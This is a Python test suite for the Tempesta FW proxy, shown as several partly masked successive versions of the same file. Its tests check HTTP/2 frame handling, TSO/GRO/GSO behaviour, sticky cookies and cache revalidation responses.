TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n sticky {\n sticky_sessions;\n cookie enforce;\n secret \"f00)9eR59*_/22\";\n }\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_sticky_cookie_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_sticky_cookie_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 1000, 0)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 50000, 50000)\n\n def _test_headers_frame_for_local_resp_sticky_cookie(self, client,\n server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.send_request(request=self.post_request, expected_status_code\n ='302')\n self.post_request.append(HeaderTuple('Cookie', client.last_response\n .headers['set-cookie']))\n client.send_request(request=self.post_request, expected_status_code\n ='200')\n self.post_request.pop()\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoCache(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n cache_methods GET;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_cache_304_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_304_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_cache_304_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache_304_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache(self, client, server,\n header_len, body_len, date, status_code):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n headers = [HeaderTuple(':authority', 'example.com'), HeaderTuple(\n ':path', '/'), HeaderTuple(':scheme', 'https'), HeaderTuple(\n ':method', 'GET')]\n client.send_request(request=headers, expected_status_code='200')\n headers.append(HeaderTuple('if-modified-since', date))\n client.send_request(request=headers, expected_status_code=status_code)\n", "step-2": "<mask token>\n\n\nclass TestH2Frame(H2Base):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def test_rst_frame_in_response(self):\n \"\"\"\n When Tempesta returns RST_STREAM:\n - open streams must not be closed;\n - new streams must be accepted.\n \"\"\"\n client = self.get_client('deproxy')\n client.parsing = False\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(request=self.post_request, end_stream=False)\n stream_with_rst = 3\n client.stream_id = stream_with_rst\n client.send_request(self.get_request + [('x-forwarded-for',\n '1.1.1.1.1.1')], '400')\n client.make_request(self.get_request, end_stream=True)\n client.wait_for_response(3)\n client.stream_id = 1\n client.make_request('body', end_stream=True)\n client.wait_for_response(3)\n self.assertRaises(StreamClosedError, client.h2_connection.\n _get_stream_by_id, stream_with_rst)\n self.assertFalse(client.connection_is_closed(),\n 'Tempesta closed connection after sending RST_STREAM.')\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoBase(H2Base):\n\n def setup_tests(self):\n self.start_all_services()\n client = self.get_client('deproxy')\n server = self.get_server('deproxy')\n client.update_initial_settings(header_table_size=512)\n client.send_bytes(client.h2_connection.data_to_send())\n client.wait_for_ack_settings()\n return client, server\n\n\n<mask token>\n\n\nclass TestH2FrameEnabledDisabledTsoGroGso(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n\n def test_headers_frame_with_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n\n def test_headers_frame_without_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n\n def test_data_frame(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_d(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_e(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_invalid_req(self, client, server):\n client.send_request(request=[HeaderTuple(':authority', 'bad.com'),\n HeaderTuple(':path', '/'), HeaderTuple(':scheme', 'https'),\n HeaderTuple(':method', 'GET')], expected_status_code='403')\n\n def _test_data_frame(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 100000)\n\n def _test_headers_frame_with_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 0)\n\n def _test_headers_frame_without_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 1000, 0)\n\n def _test_headers_data_frames(self, client, server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.make_request(self.post_request)\n client.wait_for_response(5)\n self.assertFalse(client.connection_is_closed())\n self.assertEqual(client.last_response.status, '200',\n 'Status code mismatch.')\n self.assertIsNotNone(client.last_response.headers.get(header[0]))\n self.assertEqual(len(client.last_response.headers.get(header[0])),\n len(header[1]))\n self.assertEqual(len(client.last_response.body), body_len,\n 'Tempesta did not return full response body.')\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoStickyCookie(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n sticky {\n sticky_sessions;\n cookie enforce;\n secret \"f00)9eR59*_/22\";\n }\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_sticky_cookie_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_sticky_cookie_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 1000, 0)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 50000, 50000)\n\n def _test_headers_frame_for_local_resp_sticky_cookie(self, client,\n server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.send_request(request=self.post_request, expected_status_code\n ='302')\n self.post_request.append(HeaderTuple('Cookie', client.last_response\n .headers['set-cookie']))\n client.send_request(request=self.post_request, expected_status_code\n ='200')\n self.post_request.pop()\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoCache(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n cache_methods GET;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_cache_304_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_304_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_cache_304_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache_304_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache(self, client, server,\n header_len, body_len, date, status_code):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n headers = [HeaderTuple(':authority', 'example.com'), HeaderTuple(\n ':path', '/'), HeaderTuple(':scheme', 'https'), HeaderTuple(\n ':method', 'GET')]\n client.send_request(request=headers, expected_status_code='200')\n headers.append(HeaderTuple('if-modified-since', date))\n client.send_request(request=headers, expected_status_code=status_code)\n", "step-3": "<mask token>\n\n\nclass TestH2Frame(H2Base):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def test_window_update_frame(self):\n \"\"\"Tempesta must handle WindowUpdate frame.\"\"\"\n self.start_all_services(client=True)\n client: deproxy_client.DeproxyClientH2 = self.get_client('deproxy')\n client.update_initial_settings()\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n self.assertTrue(client.wait_for_ack_settings())\n client.h2_connection.increment_flow_control_window(5000)\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n client.send_request(self.get_request, '200')\n self.assertFalse(client.connection_is_closed())\n\n def test_continuation_frame(self):\n \"\"\"Tempesta must handle CONTINUATION frame.\"\"\"\n self.start_all_services()\n client: deproxy_client.DeproxyClientH2 = self.get_client('deproxy')\n client.update_initial_settings()\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n client.send_request(request=self.get_request + [('qwerty', 'x' * \n 5000) for _ in range(4)], expected_status_code='200')\n self.assertFalse(client.connection_is_closed())\n <mask token>\n\n def test_rst_frame_in_response(self):\n \"\"\"\n When Tempesta returns RST_STREAM:\n - open streams must not be closed;\n - new streams must be accepted.\n \"\"\"\n client = self.get_client('deproxy')\n client.parsing = False\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(request=self.post_request, end_stream=False)\n stream_with_rst = 3\n client.stream_id = stream_with_rst\n client.send_request(self.get_request + [('x-forwarded-for',\n '1.1.1.1.1.1')], '400')\n client.make_request(self.get_request, end_stream=True)\n client.wait_for_response(3)\n client.stream_id = 1\n client.make_request('body', end_stream=True)\n client.wait_for_response(3)\n self.assertRaises(StreamClosedError, client.h2_connection.\n _get_stream_by_id, stream_with_rst)\n self.assertFalse(client.connection_is_closed(),\n 'Tempesta closed connection after sending RST_STREAM.')\n <mask token>\n <mask token>\n <mask token>\n\n def test_double_header_frame_in_single_stream(self):\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(self.post_request, end_stream=False)\n client.make_request([('header1', 'header value1')], end_stream=True)\n self.assertTrue(client.wait_for_connection_close())\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n\n def __assert_test(self, client, request_body: str, request_number: int):\n server = self.get_server('deproxy')\n self.assertTrue(client.wait_for_response(timeout=5))\n self.assertEqual(client.last_response.status, '200')\n self.assertEqual(len(server.requests), request_number)\n checks.check_tempesta_request_and_response_stats(tempesta=self.\n get_tempesta(), cl_msg_received=request_number,\n cl_msg_forwarded=request_number, srv_msg_received=\n request_number, srv_msg_forwarded=request_number)\n error_msg = 'Malformed request from Tempesta.'\n self.assertEqual(server.last_request.method, self.post_request[3][1\n ], error_msg)\n self.assertEqual(server.last_request.headers['host'], self.\n post_request[0][1], error_msg)\n self.assertEqual(server.last_request.uri, self.post_request[1][1],\n error_msg)\n self.assertEqual(server.last_request.body, request_body)\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoBase(H2Base):\n\n def setup_tests(self):\n self.start_all_services()\n client = self.get_client('deproxy')\n server = self.get_server('deproxy')\n client.update_initial_settings(header_table_size=512)\n client.send_bytes(client.h2_connection.data_to_send())\n client.wait_for_ack_settings()\n return client, server\n\n\n<mask token>\n\n\nclass TestH2FrameEnabledDisabledTsoGroGso(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n\n def test_headers_frame_with_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n\n def test_headers_frame_without_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n\n def test_data_frame(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_d(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_e(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_invalid_req(self, client, server):\n client.send_request(request=[HeaderTuple(':authority', 'bad.com'),\n HeaderTuple(':path', '/'), HeaderTuple(':scheme', 'https'),\n HeaderTuple(':method', 'GET')], expected_status_code='403')\n\n def _test_data_frame(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 100000)\n\n def _test_headers_frame_with_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 0)\n\n def _test_headers_frame_without_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 1000, 0)\n\n def _test_headers_data_frames(self, client, server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.make_request(self.post_request)\n client.wait_for_response(5)\n self.assertFalse(client.connection_is_closed())\n self.assertEqual(client.last_response.status, '200',\n 'Status code mismatch.')\n self.assertIsNotNone(client.last_response.headers.get(header[0]))\n self.assertEqual(len(client.last_response.headers.get(header[0])),\n len(header[1]))\n self.assertEqual(len(client.last_response.body), body_len,\n 'Tempesta did not return full response body.')\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoStickyCookie(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n sticky {\n sticky_sessions;\n cookie enforce;\n secret \"f00)9eR59*_/22\";\n }\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_sticky_cookie_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_sticky_cookie_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 1000, 0)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 50000, 50000)\n\n def _test_headers_frame_for_local_resp_sticky_cookie(self, client,\n server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.send_request(request=self.post_request, expected_status_code\n ='302')\n self.post_request.append(HeaderTuple('Cookie', client.last_response\n .headers['set-cookie']))\n client.send_request(request=self.post_request, expected_status_code\n ='200')\n self.post_request.pop()\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoCache(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n cache_methods GET;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_cache_304_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_304_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_cache_304_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache_304_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache(self, client, server,\n header_len, body_len, date, status_code):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n headers = [HeaderTuple(':authority', 'example.com'), HeaderTuple(\n ':path', '/'), HeaderTuple(':scheme', 'https'), HeaderTuple(\n ':method', 'GET')]\n client.send_request(request=headers, expected_status_code='200')\n headers.append(HeaderTuple('if-modified-since', date))\n client.send_request(request=headers, expected_status_code=status_code)\n", "step-4": "<mask token>\n__author__ = 'Tempesta Technologies, Inc.'\n__copyright__ = 'Copyright (C) 2023 Tempesta Technologies, Inc.'\n__license__ = 'GPL2'\n<mask token>\n\n\nclass TestH2Frame(H2Base):\n\n def test_data_framing(self):\n \"\"\"Send many 1 byte frames in request.\"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client('deproxy')\n deproxy_cl.parsing = False\n request_body = 'x' * 100\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n for byte in request_body[:-1]:\n deproxy_cl.make_request(request=byte, end_stream=False)\n deproxy_cl.make_request(request=request_body[-1], end_stream=True)\n self.__assert_test(client=deproxy_cl, request_body=request_body,\n request_number=1)\n\n def test_empty_last_data_frame(self):\n \"\"\"\n Send request with empty last data frame. It is valid request. RFC 9113 6.9.1.\n \"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client('deproxy')\n deproxy_cl.parsing = False\n request_body = '123'\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n deproxy_cl.make_request(request=request_body, end_stream=False)\n deproxy_cl.make_request(request='', end_stream=True)\n self.__assert_test(client=deproxy_cl, request_body=request_body,\n request_number=1)\n\n def test_empty_data_frame(self):\n \"\"\"\n Send request with empty data frame. It is valid request. RFC 9113 10.5.\n \"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client('deproxy')\n deproxy_cl.parsing = False\n request_body = '123'\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n deproxy_cl.make_request(request='', end_stream=False)\n deproxy_cl.make_request(request=request_body, end_stream=True)\n self.__assert_test(client=deproxy_cl, request_body=request_body,\n request_number=1)\n\n def test_settings_frame(self):\n \"\"\"\n Create tls connection and send preamble + correct settings frame.\n Tempesta must accept settings and return settings + ack settings frames.\n Then client send ack settings frame and Tempesta must correctly accept it.\n \"\"\"\n self.start_all_services(client=True)\n client: deproxy_client.DeproxyClientH2 = self.get_client('deproxy')\n self.initiate_h2_connection(client)\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n client.send_request(self.post_request, '200')\n\n def test_window_update_frame(self):\n \"\"\"Tempesta must handle WindowUpdate frame.\"\"\"\n self.start_all_services(client=True)\n client: deproxy_client.DeproxyClientH2 = self.get_client('deproxy')\n client.update_initial_settings()\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n self.assertTrue(client.wait_for_ack_settings())\n client.h2_connection.increment_flow_control_window(5000)\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n client.send_request(self.get_request, '200')\n 